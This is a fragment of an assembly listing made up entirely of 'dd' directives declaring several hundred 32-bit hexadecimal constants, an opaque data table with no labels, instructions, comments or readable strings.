dd 0B7125159h, 98BA0056h, 3D18251Dh, 6BC16F22h, 0DF88AEFDh
dd 4B1D4741h, 66F9CA21h, 0FA3DC53Ah, 0E9C346A2h, 0EF04024Ah
dd 0BC35F8BBh, 88F38D80h, 7674271Ah, 0BB30515Ch, 9E332EBh
dd 0DD890957h, 0B679987h, 8EBCDD5h, 2D01A0F3h, 75531968h
dd 2FA85DD6h, 0EE3F5047h, 7B80D494h, 311144C7h, 685E09F7h
dd 101A5509h, 254B3E60h, 2BC181C0h, 344FDB08h, 18CCD929h
dd 558E1C08h, 0F07E1420h, 0D508A2E9h, 3045A590h, 202A73B5h
dd 9A5597ADh, 95F15F5Dh, 162A8469h, 0B38CAA17h, 42081E05h
dd 0F80185F2h, 0E807122Dh, 500BF580h, 6447DF8h, 91E47620h
dd 120808C8h, 0BCBB800h, 7C01E7D9h, 9DAA35E8h, 345EAF73h
dd 0D4708089h, 1C858388h, 0DFDA7583h, 61BFBDE8h, 72123D17h
dd 806CADF1h, 4E1EB25Eh, 4AA9CFBAh, 2024E88Ah, 3AF4607Dh
dd 98C02731h, 3DAE2D5Dh, 81075030h, 0E507A305h, 0C7140Eh
dd 2C292640h, 0BE832FE9h, 5AFD5E20h, 494F0A24h, 881D03A2h
dd 7DBBCBFEh, 5E49D9FCh, 0DC575ABCh, 17AF4633h, 0D18E56B7h
dd 3BEC7E5Eh, 0BB68E9C2h, 0A4A1597Fh, 3E0138D2h, 9EE927F0h
dd 6A916E0Fh, 0B3077C9Bh, 0A3D54E7h, 0AE6A9253h, 0EE06BDF9h
dd 0D8283C1Dh, 3E0DC80Bh, 0E155E43h, 989C31DAh, 9FE908CAh
dd 24647BBFh, 0FD8C1271h
dd 4268C086h, 0BD0EA40Bh, 0C907C94Ch, 341F3C4Fh, 5AA3F160h
dd 0E94D1232h, 0BF7AC4C3h, 0B826B08Fh, 534FC04Eh, 99B8644Bh
dd 2D08B2D0h, 0C5A47929h, 15D9512h, 3768C397h, 0E7CC2F05h
dd 7E9F6969h, 80A1808Eh, 6A2882EAh, 5870D48Bh, 0E91376D8h
dd 2F54F1D1h, 0BAE430FCh, 79846B3h, 5362CA68h, 1290FC9Fh
dd 0B5F8007Fh, 0C74D8327h, 660BFE0Ch, 0FF97D94Fh, 0C98F5B6h
dd 5941704Eh, 3FD40A83h, 0C0E7DBECh, 0F67CED17h, 0ABA01A9h
dd 0E310D1B5h, 10DE94E9h, 0FC8B948h, 42BA7BD0h, 75279D1Bh
dd 57255BDCh, 0F2A2773Ch, 660E1CDEh, 0D7D05945h, 5D978B60h
dd 15F6583h, 7368D24Eh, 0C461284Fh, 0EC17CE6Ch, 7924873h
dd 79ED1183h, 8C44F6EFh, 7FCF387h, 0F0D9EC74h, 0EF3109CDh
dd 516199E9h, 70F53B05h, 9A1AAA32h, 0F4001A4Bh, 0D1885102h
dd 5BFACBE4h, 0A2F66C40h, 506DC1FCh, 0C16BC8FDh, 22D4C6CDh
dd 12047FFEh, 0D9F73D7Fh, 791A60C0h, 0F8AA5EC0h, 0E9445052h
dd 2D3DA859h, 0BFD1DE09h, 0DEB5769Eh, 94684587h, 8A934419h
dd 53891E99h, 2196D536h, 0A6777BA2h, 2C5E0162h, 65F3D691h
dd 0DFCFEF52h, 276C688Fh, 0D2A9D67Fh, 0E6E97F59h, 7101B48h
dd 58B11F6Dh, 474CD95Eh, 9FDD9F41h, 4BD55D9Ah, 0E076CAC7h
dd 828B92A8h, 90E67AFFh, 944BB273h, 42BE2673h, 0CE7D1B48h
dd 9F8976Fh, 7A470703h, 0B0BBB48h, 0D9EAE90Bh, 35D62FA0h
dd 0BE327B5Ah, 50310BD2h, 55503069h, 60A7F795h, 0C42D830h
dd 4E04742Bh, 930A8B7h, 5D01EF83h, 0DEE95707h, 515F5898h
dd 0EF06BAACh, 5B00190h, 4E76170Ch, 0FE691730h, 16087C10h
dd 5A4B0EE9h, 0E1DE5C87h, 36772668h, 16AE4B36h, 10D7A6CAh
dd 0BD026216h, 61E33B7Ah, 0B42CC45Ch, 30AF1D13h, 108EB883h
dd 2D2FA23Ch, 857A85C7h, 4ED1CAAAh, 55B118ECh, 95E22F19h
dd 48B82DC0h, 399C0374h, 5E0D0720h, 24A0D9E9h, 46FCA77Ah
dd 27274C95h, 9D6E58C9h, 155ED256h, 4817EA68h, 26CC5732h
dd 5F0B5190h, 70AD048h, 1C7EEBBBh, 0E5C8DF59h, 8F9D31E9h
dd 0D5585A13h, 0FAEF50B1h, 8168F78Eh, 0EEE98330h, 8AA6BD5Ch
dd 39A19B45h, 26A9305Ah, 0D46186C9h, 0D9448Fh, 0A5490268h
dd 35580B2Eh, 827FB6FDh, 9361014Fh, 3F408359h, 0B29AF511h
dd 60426D53h, 0D3056AFDh, 820E0922h, 0A564677Eh, 79EECD95h
dd 0F43BE026h, 9333F595h, 47383405h, 12C43A72h, 0EF4A88F8h
dd 42083F1Ah, 2A79F5B8h, 58215A30h, 296C3B26h, 3E084268h
dd 0CEFD2C92h, 237587Eh, 634333EDh, 2D68DF58h, 7595671Ch
dd 9BB4699h, 55E93684h, 0EC49EA9Dh, 3D417505h, 47A82E2Dh
dd 0E98C593Bh, 0C5379CFDh, 59F1A898h, 282430EEh, 2602090h
dd 921845FEh, 0D5212E4Ah, 418F3EAAh, 0E982BC7Fh, 76796A95h
dd 0A0834669h, 6E623310h, 28DA6C4Eh, 815D0804h, 1A32A4Ch
dd 52EC21B8h, 9A3FF43Eh, 1AE09DD6h, 34A588B4h, 9AF4963Eh
dd 829797BFh, 0D6906DB3h, 4A0C76AAh, 92D10174h, 7B3D003Ch
dd 0E9DDF71Ah, 2AC72326h, 0C77525Eh, 86B9683Bh, 9D728294h
dd 85DF2928h, 2DEB5497h, 0ED253378h, 601D7453h, 5B880893h
dd 52A58DBDh, 0C04C043Ch, 8F65A86Ah, 5ADE028Fh, 0C8743C4Fh
dd 0FD1EDF25h, 899DD197h, 12C20BE9h, 0B287A07Fh, 4B063F14h
dd 847EBD5Bh, 52E79910h, 7D258052h, 0D25CED4Ah, 266DD09h
dd 0D49C62F6h, 98DC629Dh, 0AC654EFEh, 0EBF906BFh, 0FE778559h
dd 4F026F4Ah, 0D6453868h, 4BF862B6h, 0F72850F3h, 7881DE40h
dd 0F72F4CCDh, 74560C60h, 0F5F87F9Ah, 0BF76F374h, 44B574Ch
dd 1CA83D86h, 259BEDEEh, 70615222h, 7F6112EBh, 115AB044h
dd 8560F841h, 2903AC3h, 575305CEh, 0B238AF48h, 0AEC901DCh
dd 492F7A05h, 55D13019h, 73446817h, 23E61560h, 0E94C0B05h
dd 99575970h, 832062C7h, 0E4839C76h, 0E3E28057h, 0D180AA1Ah
dd 803505E8h, 884A8D02h, 1241972Fh, 0DDBBC3Ch, 5156F0F2h
dd 259CE8Bh, 5EC0C303h, 68DC499Dh, 9097CE42h, 7945C58Bh
dd 0F7641211h, 0B1F612D5h, 0E62C3F56h, 0D15B5BD5h, 2A13905Fh
dd 68527730h, 0F7344B92h, 5DE69347h, 0B441F84Bh, 94DB3BEh
dd 906213E9h, 85BBD8Dh, 0C1295221h, 63BD0820h, 0D17BE9B4h
dd 0FECAB720h, 0E908A0EAh, 1366940Ah, 190DBB09h, 0B06FA90Bh
dd 0C24B31CDh, 0F6330D29h, 2D8A5828h, 0D873305Eh, 0A83E0539h
dd 42FEE950h, 34EE8020h, 0B63FA87h, 880BC7D5h, 6804A048h
dd 30AE713Dh, 0FD38BB57h, 0FA876C1Ch, 761DEF93h, 0E4E577A5h
dd 96D32E3Ch, 5540501Ah, 0EA399378h, 91F293A5h, 0E0B2F4BBh
dd 7ECC2C2Fh, 95B50B42h, 59997071h, 77220E44h, 545F0092h
dd 68038819h, 9F9A6672h, 5B54520h, 195C1CB9h, 4E6FA816h
dd 0C6008E8h, 6B8E7F86h, 572EE80h, 44E92D13h, 5B26B4F7h
dd 9B552AB0h, 6A25319Ah, 0DE45407Dh, 681BD0AAh, 4D96430Ah
dd 0F8D25A65h, 0BD7C7A59h, 2D01175Eh, 8783BE8h, 780AA12Eh
dd 0F20E7B33h, 0EB734B5Ch, 9FDE58ABh, 1AC2FCFEh, 0D2F15F4Dh
dd 0EC31F909h, 4FB0F4E3h, 70E33Eh, 977B10BFh, 7AB843h
dd 2993829Eh, 4AA7E9F8h, 44EE71B5h, 6DC1743Ch, 5001648Eh
dd 0F90070B4h, 0F02796B6h, 0DF0755D1h, 0F545D542h, 0C0957044h
dd 600F06D9h, 0F21E0C50h, 0BCA10D45h, 4AAA623Dh, 5E990DAEh
dd 69FF3A0Eh, 13D22E3Ah, 7C9AE0B3h, 0C2709728h, 0FE7BB70Fh
dd 5EE864C7h, 471B28B9h, 0F8E86540h, 0D64F65D3h, 9350EAE8h
dd 6288260Eh, 9F8A0B47h, 0DF98F459h, 256BE488h, 0C3581052h
dd 29556E05h, 0C084F901h, 4A850810h, 0C978CEFBh, 7157C260h
dd 2ED3605Eh, 0E91807C5h, 0C727508Fh, 0CB351A68h, 94F60C46h
dd 8EC808A4h, 984A2EA8h, 52C932E9h, 3BC09AD6h, 2337102h
dd 3ADD6853h, 2077579Eh, 0B63EF36Dh, 0E98B1238h, 0FEEEA1A2h
dd 0C068D3D7h, 1AB1685Fh, 0F4839895h, 0EF5E96CDh, 0B9322113h
dd 76C6044Bh, 3F0A0BACh, 3C571F2Ch, 0F8C9D33Ch, 0CAF3F121h
dd 0E73A427Bh, 10602180h, 9F4F6851h, 0E915F6F3h, 29149343h
dd 0AD4FA9D7h, 0A45A2998h, 3F85880Ah, 2FD70B3Ch, 0A302FD2Ah
dd 0CC7768B6h, 8C122721h, 221C2449h, 0CC267C9Eh, 6E89A4A8h
dd 3198E614h, 541A5138h, 6DFE2E59h, 5DF83B81h, 0B785F289h
dd 78D8C664h, 0D1447D4Bh, 0F8EA59CDh, 0E26E8537h, 455DFFC8h
dd 0BC893E0Fh, 0F4641407h, 2D12CA13h, 5C56345Ch, 832F9530h
dd 39AD3868h, 9731A52Ch, 95E4E871h, 22E9097Dh, 0C5FFFFADh
dd 529F9634h, 8123FC5Fh, 0AED2F57Fh, 803FC52Fh, 986B839Eh
dd 0F3876F0Ch, 2443064Eh, 65CEBD1h, 9174A9E9h, 7A6AF607h
dd 0CE606E01h, 9F91E2Eh, 84C4E928h, 965CA69Ah, 38F1609Fh
dd 0E3C1D4B4h, 0EA2E04FDh, 4584747Dh, 98634668h, 5E5DF32Ch
dd 16725D0Eh, 0C1E46B7Eh, 41185529h, 533AB12Fh, 31971A10h
dd 3B455D42h, 0D9074CF9h, 6F6FC271h, 2FE20A20h, 0D25E93Dh
dd 0BDEFE820h, 3B8E016Eh, 369AF7B9h, 2BEC3BE7h, 506D6030h
dd 5917EAB8h, 54A07529h, 0CA810242h, 4AD2E70h, 0E6CDF0F7h
dd 362C2D05h, 0A90216D6h, 0F4235B1Ah, 93A00969h, 28A5F30h
dd 4B257BA4h, 59277C25h, 5C9C2C53h, 0DEF85A6Bh, 0F46F1D58h
dd 2C0AC0D8h, 7FB0E04Ah, 211D3A9Ah, 1A44915Fh, 1A8C2B95h
dd 0EF7B5B1Eh, 0F47C1145h, 0D329F3EBh, 53CB5FA9h, 7D086AFBh
dd 0C4412F3Dh, 0E6803B5Fh
dd 92C4335h, 0F2EFE977h, 0CCB0667Bh, 95CE1630h, 0C6345DE1h
dd 6297885Ah, 28205564h, 2B6C7B4Dh, 0D0AA534Ah, 654E68EAh
dd 28B86EE1h, 99CE90F4h, 2717D319h, 6E0FE1C1h, 0EE2D111Eh
dd 0B1854CD9h, 7A805154h, 7288527Eh, 5AD513FAh, 0E6B0AE5Bh
dd 25C173F5h, 43D5DCC3h, 959ABE2h, 58E94108h, 0C9817AFCh
dd 0D164BD5h, 131CF1D8h, 0EA7C77B9h, 915A1CCBh, 0F071C1FAh
dd 8B9F10F5h, 0D5688978h, 18C6AF0Ah, 36EB2F77h, 99E2D01Eh
dd 0AEC232D2h, 5125E05Bh, 77459F7Fh, 0DDD49D0Bh, 0EA715D99h
dd 9E047AAFh, 43BC848h, 27DE0B16h, 86550AAh, 0E27D0C69h
dd 0F800FDDAh, 16A35439h, 4C0F77Ch, 1E5FE681h, 77DAA257h
dd 0EBE47A60h, 0CBFBFC24h, 0C10A9B34h, 9398A02h, 5D080F69h
dd 0AA349A0Fh, 1B17B009h, 2DDD14Ah, 88D54CCh, 0CF30F14h
dd 998B8CAh, 188B06E3h, 0DC01EBDBh, 1C242A9h, 4B4A2C6Ah
dd 4AD38718h, 73F79306h, 0E0AAA3D0h, 1703A80Ah, 20D1C1E9h
dd 0AD51FD11h, 0E6A4794Fh, 7DB929Ch, 5BB1C8BFh, 0A325A6A0h
dd 0C13BDD95h, 0C7D58C9h, 0B1A64EE9h, 0E5353A14h, 507CC622h
dd 0ED5C4F38h, 4CDCC67Eh, 10C60493h, 0AA071D45h, 0D795A605h
dd 52E1E644h, 5FC4C880h, 0DE609FCFh, 4F1F3D42h, 49D4D110h
dd 588605BBh, 0C14E74C6h, 899BC21Dh, 85ACC1CAh, 5689CF22h
dd 0EBE5A3D6h, 0F3122EA6h, 5ECC8C49h, 0C7809DB4h, 15CC20EEh
dd 4152F851h, 1810381Fh, 0C26D8D5Fh, 621B1247h, 0B831016Bh
dd 2E64080Bh, 71A1091h, 57CABE00h, 0C23BA427h, 5A5949F8h
dd 44535A8Bh, 7AEAF048h, 6794161Ah, 0E215875Ah, 2F587F69h
dd 262C0401h, 7DF5E90Eh, 975BB33Ah, 3ABB06AAh, 683C0E9Ah
dd 23FDE3C8h, 0EFDB170Ah, 9681ED02h, 588657A8h, 0C5072772h
dd 384C02B4h, 8505B8B3h, 9FFEB7EBh, 4B0BE98Eh, 0D7D4C282h
dd 0CA20CBEEh, 5A5D2546h, 641632DEh, 0D2C471AEh, 31B31314h
dd 1958012Fh, 0DF213BD9h, 0EE11C920h, 64B67108h, 1BFE5FE5h
dd 5648A3BAh, 2F8E0627h, 40C7A72h, 74FCED02h, 29D7C389h
dd 65D5E998h, 20F2EC9h, 71545189h, 7E688458h, 0BECBEB49h
dd 0C665BB92h, 0A2C23C71h, 5B92F32Bh, 92432521h, 5FBB1A83h
dd 0FE9DC219h, 0DD536E83h, 0C081C944h, 822A27BEh, 667D4465h
dd 3E2930E5h, 8D18F38Dh, 3E17153Dh, 1BAA7D9h, 2DB735D4h
dd 0F66411E9h, 42DEBD01h, 27876E5Ah, 0B1141B71h, 35A28F8h
dd 5CC3D2BCh, 0C593E831h, 68550804h, 0FAA347B6h, 2FB9B710h
dd 0E297DE21h, 0A3C4814Bh, 5F3ADC03h, 0E9EF2971h, 1A8C7863h
dd 8F1E5058h, 7321241Fh, 5629F7E5h, 0BC9CA584h, 85988FCEh
dd 2F047334h, 5AAD89C7h, 0D7255E4Ah, 0EBEE57CEh, 0E3AB8D74h
dd 4B611274h, 0C21F27E3h, 0F86A49DFh, 682F47D0h, 3DBBC6CFh
dd 9200E0BBh, 0E9D83149h, 74B77A70h, 0E1F25B3Bh, 5E0BB8F4h
dd 0B6455757h, 0B955F93h, 181B8CF0h, 0F753040h, 0DD1B18F8h
dd 9D5D014Fh, 41B90A57h, 570E1C90h, 0FAC912BFh, 1D08EE90h
dd 2781311h, 0A444F878h, 8858940Ch, 6F2C4EFAh, 0F5E2F109h
dd 7497281Ch, 0CFE97029h, 8ABB444Bh, 0BD426580h, 902935F4h
dd 0A9EF4BECh, 7B1427E0h, 565A8930h, 9D5E68F6h, 2B7EF4Ch
dd 0A2090324h, 0FA6638C0h, 44AE0A7Bh, 24C40604h, 0EFF01701h
dd 0D52135C1h, 0C098A23Ah, 8D73BCEDh, 0BF4D5E53h, 579E4502h
dd 0AD8F404Eh, 566B776h, 3FDF1749h, 49861A5Ch, 6482FF0Ch
dd 0B900ED81h, 581B4830h, 89026A0Ch, 4961E636h, 3F1F7A57h
dd 20B4804h, 0A42145E9h, 94F2295Fh, 83848C6Eh, 849FD59Bh
dd 5B8546FBh, 0CECE7BBh, 401703BEh, 0AC64B306h, 3EE89347h
dd 4F948518h, 22FE50EFh, 0F4A0125Ah, 0B4E74C15h, 0F8E09125h
dd 521EBBB8h, 33892026h, 3698FDA5h, 729DEE88h, 86D02087h
dd 27B8660Fh, 0AEC42476h, 9E17BDAFh, 7E53FDC9h, 67F173D9h
dd 0A5357E73h, 0CE5305FBh, 0D33EE848h, 17514BA0h, 0CD348663h
dd 29D3015h, 23F42D0Fh, 0DDC54955h, 58125DCCh, 0A6AFD721h
dd 6BE11019h, 1E816366h, 0D916820Bh, 2134E948h, 58803C64h
dd 0C10FECF1h, 38EC058h, 1206E166h, 0A8DC3450h, 4B846880h
dd 6493317Eh, 1500327h, 624EA1C0h, 0F3F78132h, 40470CD1h
dd 5EE7B6C7h, 7C000B4Eh, 0B24CF635h, 7F589D64h, 5EF37B33h
dd 0A63EB241h, 541A09A0h, 0B605FC3Fh, 0A4F5AD1Fh, 0F3BC85BFh
dd 0BA8AE492h, 0BB1EDDB4h, 75B35085h, 845B20BEh, 304B670Dh
dd 0D3D2C2EBh, 1C37B270h, 0D9943417h, 0F4346180h, 276BC98h
dd 77101575h, 74B9F8F5h, 0CECDE431h, 4324108h, 44CBC47h
dd 0ECEBBDB2h, 0F9B076CDh, 5D7262B5h, 5CD9CB5Ch, 3C3D883Fh
dd 298D2311h, 40E0C11Fh, 0D4386A35h, 0A4246880h, 0CBC22D31h
dd 0C0AF0FEBh, 2D1743CEh, 0F813AA8h, 86621955h, 92C58385h
dd 906891C8h, 5DB0F8B4h, 0D9EA904Ah, 0ED2C3F73h, 98517255h
dd 0BD90942h, 63F473BDh, 0A0A9050Fh, 0B5E9D589h, 808C9CC8h
dd 7C48B268h, 46785E6Dh, 0BC7F76Eh, 97ED57CDh, 20420F08h
dd 0BE560ED0h, 2B8052F6h, 0E903E6C1h, 72B08827h, 0D38009B6h
dd 1D059B69h, 8DDEAA2Ah, 1AD9B902h, 4B70068Bh, 355D5CC0h
dd 48131E4h, 3D0C21EEh, 7B3EF166h, 0DACF4991h, 0C1DD8F84h
dd 8D6BC3EDh, 665CC113h, 0B3A721EAh, 0C7998041h, 717B26FAh
dd 24449AC1h, 81BC59D4h, 0EEC088E6h, 7840ED06h, 4CEF4EA1h
dd 5145913Dh, 1889885Ch, 0F1D75330h, 0CA501DACh, 1DE18014h
dd 0E92BC005h, 5E567A5Dh, 17E59EACh, 0E9D14284h, 47DD3C2Dh
dd 0CFFE0B48h, 0F3F2A3D0h, 0E91D58B5h, 5B602F25h, 0B2585B9Bh
dd 0D225784Dh, 304C6605h, 0C5FDE6D6h, 3270950h, 73AED0C8h
dd 62BFB129h, 795DFB01h, 0BB5697FFh, 35C15BD4h, 8321F8A4h
dd 0CB92E4ECh, 0AEFCDF6Dh, 14BCE80Ah, 747FEE03h, 0BE0C0529h
dd 0FF183776h, 3CFA4F48h, 27A75982h, 48EB32FFh, 15BA30C3h
dd 7835BD8h, 0E95A910Bh, 499E7890h, 680B9A58h, 0FBD6432Dh
dd 52F548D2h, 1F802F68h, 3F2706E6h, 0A8E6944Bh, 6A8E47h
dd 85BF088Dh, 31141F68h, 2C8EC79Dh, 579030B4h, 60B55F52h
dd 3559624Dh, 2C42F48h, 539A6CEAh, 0B167E57h, 477D5FFEh
dd 17A0247Ch, 106CA28Dh, 5F3E34E8h, 89E69992h, 8F026B23h
dd 0F6D1300Ch, 0C68809A7h, 5E933355h, 0BA74BB34h, 0E9F0C2E8h
dd 408225A4h, 0E1074CA5h, 8470EC7Eh, 580B4011h, 71EF63D8h
dd 0D2052B43h, 0A0BBC8B2h, 0CF4CE20Ah, 1EDD3B60h, 0F45C5CE4h
dd 1905F612h, 12FB35ECh, 0EAD613CEh, 63EA7640h, 904F1203h
dd 0D2F39D0Ch, 3607FE3Bh, 60E03544h, 82FB0B94h, 0E4786F69h
dd 0BB685E09h, 4A9F4653h, 0E8C63501h, 4F730B91h, 0DA1E0E70h
dd 2DB8106h, 0FFCA1FA8h, 78CB97F9h, 96C6B06Ah, 9BA04B2Dh
dd 0E96D9C0Dh, 9A00145Ah, 0F75F5E57h, 4F6874D6h, 2CC23079h
dd 36172605h, 0A6B0C183h, 0FF475E18h, 0F4AF2675h, 0F9909C52h
dd 87EA064Ah, 817A5BEEh, 2696199h, 5FDCB102h, 5BDE69A2h
dd 2C01F42h, 0EA2D40B9h, 0FCF65020h, 35FCB5A1h, 7505DEE2h
dd 0F7202266h, 9C290F1h, 6BE36C14h, 60E0F25Dh, 4D31843h
dd 1094F555h, 0DE1AC025h, 8822C15Ah, 3B0858E7h, 33E98B98h
dd 0E821FA02h, 6F58C791h, 0E91E8EF3h, 5C59674Fh, 817ECA27h
dd 0AE459CA1h, 60C7C03Bh, 505A9640h, 84014A9h, 0CBD2AE9h
dd 91D150BBh, 2A989DC1h
dd 0E125188Bh, 5182DE7Ch, 0A107F1C1h, 0E7131824h, 16EDE0Bh
dd 0F15FAB3Fh, 9AB80B60h, 8A584A36h, 0C48C41C4h, 4E2C950Fh
dd 522D23C1h, 954E801h, 26E96A0Eh, 0D3556062h, 0F8E8925Bh
dd 0E8EE2746h, 724385EAh, 947BADEh, 2164EA4Dh, 0DF12675Ch
dd 0AB5AD1E8h, 0AC4A9F2Eh, 5958855Dh, 0BFD79A93h, 0C9EF9AF4h
dd 5E78FC87h, 0ECE5BBA8h, 6FC6341Dh, 0EB3F581h, 0E2E429Fh
dd 0F7204920h, 3CA168D1h, 0AA4019BDh, 0BB50E30h, 1AE9F931h
dd 68597460h, 0E6333627h, 45A8303Ch, 5101EFFBh, 755E8CB8h
dd 0E6EF74EAh, 8661197Eh, 0A92BDADBh, 508E8916h, 41769543h
dd 0C45EF953h, 94C15C9Dh, 0CA029306h, 42568639h, 8214BB61h
dd 0C34FEAF9h, 0C9D78315h, 0F617025Fh, 7FD26784h, 97B6755h
dd 0F3556C29h, 68580219h, 56C5269h, 0DB13CA0Bh, 4123F454h
dd 6A100D68h, 0BD8409CAh, 4B5DB382h, 97C977F2h, 3F4CE529h
dd 12536873h, 97573CBEh, 0B8CC3705h, 0FB7D5ACBh, 25E9566Ch
dd 5C3B5F7Eh, 0C2F06B40h, 0AC8C3D4Fh, 0AC4C4B11h, 2AE2945Dh
dd 0F845DD6Ah, 0DB4BEA3Ah, 72C7DF54h, 0E95E2DB0h, 560097F1h
dd 28204D35h, 17EA404Bh, 9399C09Eh, 0E248FCE9h, 656A81A0h
dd 56254119h, 4034B2F9h, 3F68B75Eh, 2B48DB17h, 647B12B0h
dd 0D021CF09h, 1E2F5B90h, 3C968D3Bh, 0D7B22B0Ah, 67E6AF92h
dd 25DBE91Eh, 3E1E65DDh, 660B4AB0h, 4E741A2Dh, 0B4F0293Bh
dd 0A2BB0E05h, 0C331C1C5h, 123E2BE9h, 0C0DE80B3h, 0FA7C0C03h
dd 18FCC431h, 2961515Dh, 2B292AE5h, 4D431827h, 2869A9DAh
dd 92E6824Fh, 5C125B0Dh, 0BA230933h, 9FC874D9h, 0B2E1802h
dd 0E1812036h, 0DE2631E7h, 0D42E985Eh, 2DAA0213h, 1AE30005h
dd 7B1DA43Bh, 918251BFh, 0C0F701D3h, 4DE9FB15h, 6816D569h
dd 0AD88BB3Ch, 203DB851h, 0FEB03691h, 77270C98h, 88FD7149h
dd 65258A31h, 0A9D7201Fh, 0A96E5712h, 4AD1E4C8h, 0C57935CDh
dd 7B12A258h, 0EC722955h, 0CE944672h, 2941044Fh, 200F0516h
dd 0F04CBA6Dh, 658E313Fh, 975C14CBh, 67A6E2DAh, 8120B84Ch
dd 0BF72B53Dh, 88C2F55Eh, 0E0D9755Ah, 0E3ECE845h, 5ECA09DEh
dd 129B2BB0h, 0B5519A38h, 0CBAAA45Fh, 82E6D33Fh, 97ECA10h
dd 2386866h, 6E4BEB1Fh, 280DA84Dh, 415C09D7h, 62780DE9h
dd 0FC0E12A2h, 13AE44E1h, 43C2F846h, 62668DA8h, 0E33BB089h
dd 0C881768h, 579FC606h, 5AC204A5h, 0C155B87Bh, 0C13936C5h
dd 0B2BC2877h, 60134AE0h, 1702EB11h, 8549D001h, 92EF0178h
dd 8277335Ch, 0AD461DF8h, 366A5D6Ch, 4B4B080Bh, 0ED5CED82h
dd 90FD5740h, 76F14831h, 1A07597Fh, 9AB85000h, 0D1DFC11h
dd 2759D20Fh, 0A47CA622h, 0CBFE1A3Eh, 97C18CC0h, 7C57C20Ch
dd 827FD263h, 0D76E33DEh, 0D144E898h, 3CED8BC0h, 0C121B71Eh
dd 8535D40Ch, 165C6061h, 0D1B39509h, 21AFE29h, 0C3215DE8h
dd 311602DDh, 0CAE5D783h, 5B171124h, 0B2BF0FC0h, 180B126Dh
dd 0F9678157h, 3A70C97Ch, 0A1C38D2Ch, 0D06F5F0Fh, 16396FC3h
dd 0ED934D4Ah, 7654D09Ah, 0F35C5B01h, 0A10C41D7h, 0F42F1C28h
dd 6C08C9B6h, 0EA752749h, 60FF1Dh, 0F1B4E1CFh, 10742449h
dd 0AD705E09h, 0F637C0B5h, 888DB657h, 5E124DCBh, 7D659D09h
dd 7E97E516h, 0A74862EFh, 0DCD3F269h, 35C96418h, 212F0FC1h
dd 14D61FB6h, 0CA606BF8h, 25C5562Ah, 74BF855Ah, 0EBF01336h
dd 0F0D61E4h, 1ADE30D3h, 0BA984B44h, 78F8C7CCh, 18579FF3h
dd 9F3ED455h, 7E771092h, 0EF7A429Eh, 0F4BF9A46h, 67CB4F8Ch
dd 6C53FFC1h, 1BC2062Ah, 0B0DD5C4Dh, 0FEFA4EB3h, 4C02534h
dd 28750CB6h, 9E24571h, 98680BF5h, 0DF06603h, 11057600h
dd 2D496318h, 342B14A2h, 3E67B815h, 0D2860B8h, 0EA7CC581h
dd 43080C24h, 0A73BCA8h, 0E93F231Dh, 22232192h, 63FFD1B7h
dd 0FC5E523Ch, 0F9064FE6h, 60A3C997h, 2CB55EE6h, 32FA7041h
dd 0DA2F0896h, 2A50B563h, 7C3C982Dh, 5FF9E2FBh, 18696976h
dd 0D6AF3513h, 2025E15Eh, 0EF3B68CDh, 0EBC12913h, 135BE78Eh
dd 5F26DFAFh, 0BF0900BFh, 4149756Dh, 970931B0h, 22BEB68Ah
dd 3517D45h, 0CEB9D787h, 7957C269h, 667D6BA4h, 92EF4D54h
dd 756BC74Fh, 93A4A4E3h, 4AC40716h, 7FEA4F0Fh, 5AF86613h
dd 0DBE1E9E0h, 0C3A7689Dh, 85091759h, 0D1F90054h, 5F0D6921h
dd 475D54BDh, 187F6BA7h, 1FA2BF5Ch, 927A5466h, 6FDAA11Ch
dd 0DAA921ECh, 96C07175h, 954D555h, 71DB3689h, 79685601h
dd 0E02BD64Bh, 0AA0BEE78h, 0D577A737h, 0B8C86C9Ah, 317533FEh
dd 50D6098Ah, 0BACD9F7Fh, 9220A8A8h, 1688B0CBh, 41F73BC9h
dd 25067315h, 4EA928D9h, 67398CB6h, 5E4D8ECBh, 0E94138BBh
dd 0D590142Ah, 0D36DF309h, 7A32DDF9h, 104BB079h, 0BE386264h
dd 9CF39AC0h, 0E462EA7Dh, 2DC5277Ah, 0CB4DE866h, 0C15C0B7Fh
dd 0C04F0E7h, 31EB1BE1h, 3F123D0Ch, 87B17701h, 2E051266h
dd 87782B0Ah, 0C305F492h, 0BB03560Eh, 420B3BC2h, 0B8F2B067h
dd 97710445h, 0F869D6E9h, 3CEF4AF2h, 5592EA25h, 28E16815h
dd 5B1381DDh, 0CD607EC9h, 5835FE9h, 0BE9A681Fh, 4165E9D8h
dd 26FE6018h, 74B57270h, 22557A52h, 0D336CBFCh, 0E935966Ch
dd 0EDD49E4h, 7488D101h, 8BEA4A5Fh, 5D9D8DC5h, 95145C39h
dd 259694DBh, 894F8549h, 80047E55h, 0AEF2FB9Eh, 6E933178h
dd 21DCF610h, 39D4F948h, 3FCBDE6Fh, 8C2FD46Fh, 3120B6E8h
dd 8990FB7Dh, 0C3800EC3h, 280626E7h, 90FE3B88h, 69D39F43h
dd 7727AC0Bh, 0F848C919h, 579D357Fh, 0E924849Ch, 0F78925B9h
dd 0E5EB00D3h, 48536242h, 200C4543h, 0A45A1AFCh, 1302E849h
dd 0F209EF01h, 5AAF0458h, 0CA02480Bh, 82569D3Dh, 6013D880h
dd 68DA8739h, 39C064Bh, 2EFC0D4Ah, 0E43180A4h, 0A3A3B573h
dd 27DDD3E8h, 9F3158B5h, 2BD2372h, 0BA7D017h, 4C7327F6h
dd 4A071808h, 9463E759h, 962CFBEEh, 693A0CCEh, 574854A7h
dd 7D73F02h, 0D97E3E68h, 1696821Ah, 80A0268Ch, 5F4A0911h
dd 2F04D2DDh, 0A7EA38A8h, 0CFE318C7h, 78D6F7A2h, 5C5F46h
dd 161B051Ah, 74C20CB8h, 8BB92531h, 20DE7CA0h, 0A0D3B508h
dd 0DEB5029Ah, 64172E5Fh, 0FFFDBF66h, 0FC484312h, 515CC1D2h
dd 0AA2F49B5h, 0E9092A2Bh, 9B5F3EBBh, 6BF7C964h, 680B8126h
dd 0BC546007h, 93546D60h, 55593F47h, 4E209082h, 775D26h
dd 72BA2D20h, 840B5F4Bh, 0DF071AA2h, 44E461h, 2428C62Dh
dd 0BED0F968h, 90869A93h, 2A418C5Ah, 4A481E48h, 0E94B0B80h
dd 5D0A5FEEh, 85C9D64Ah, 4E33A811h, 88AC77FAh, 6BA96562h
dd 0A33E024Ch, 0EE295E47h, 0FA95C47Dh, 0E8C7B7A8h, 0C328AD21h
dd 38FB767Ch, 77E2A725h, 0F7B4A061h, 67DF18EDh, 0E2352825h
dd 0E45FB415h, 8AE5B551h, 8E5A8310h, 7E8F4B8Ah, 41808317h
